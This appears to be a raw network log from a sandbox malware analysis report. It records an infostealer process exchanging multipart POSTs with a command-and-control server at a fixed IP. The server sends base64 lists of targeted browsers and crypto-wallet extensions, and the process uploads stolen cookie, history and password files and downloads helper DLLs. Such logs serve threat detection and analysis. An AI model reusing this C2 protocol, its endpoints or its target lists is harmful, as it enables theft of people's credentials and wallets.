Nov 12, 2024 15:41:03.464323044 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 12, 2024 15:41:03.465890884 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECGHJDBFIJJJKEHCBF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 2d 2d 0d 0a Data Ascii: ------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="message"plugins------JJECGHJDBFIJJJKEHCBF--
Nov 12, 2024 15:41:03.744443893 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 12, 2024 15:41:03.744467974 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 12, 2024 15:41:03.744481087 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 12, 2024 15:41:03.744493008 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 12, 2024 15:41:03.744505882 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 12, 2024 15:41:03.744520903 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 12, 2024 15:41:03.746666908 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFCFHJDBKKFHIEHIDG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 2d 2d 0d 0a Data Ascii: ------IJKFCFHJDBKKFHIEHIDGContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------IJKFCFHJDBKKFHIEHIDGContent-Disposition: form-data; name="message"fplugins------IJKFCFHJDBKKFHIEHIDG--
Nov 12, 2024 15:41:04.025728941 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 12, 2024 15:41:04.043153048 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGIJECFIEBFIDHCGHD Host: 185.215.113.206 Content-Length: 5503 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 15:41:04.043226004 CET	5503	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 Data Ascii: ------KJDGIJECFIEBFIDHCGHDContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------KJDGIJECFIEBFIDHCGHDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 12, 2024 15:41:04.828761101 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 15:41:05.083523035 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 15:41:05.359174013 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 12, 2024 15:41:05.359193087 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 12, 2024 15:41:05.359205961 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 12, 2024 15:41:05.359217882 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49751	185.215.113.206	80	7284	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 15:41:13.430860043 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKECAFBFHJDGDHIEHJD Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AKKECAFBFHJDGDHIEHJD--
Nov 12, 2024 15:41:14.865061998 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 15:41:15.048737049 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBF Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 15:41:15.048737049 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 Data Ascii: ------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 12, 2024 15:41:15.834156990 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 15:41:15.849425077 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="file"------IDGHDGIDAKEBAAKFCGHC--
Nov 12, 2024 15:41:16.625845909 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 15:41:16.997771978 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJKKECFIECAKECAFBGC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="file"------FHJKKECFIECAKECAFBGC--
Nov 12, 2024 15:41:17.801595926 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 15:41:17.971714020 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 15:41:18.256272078 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 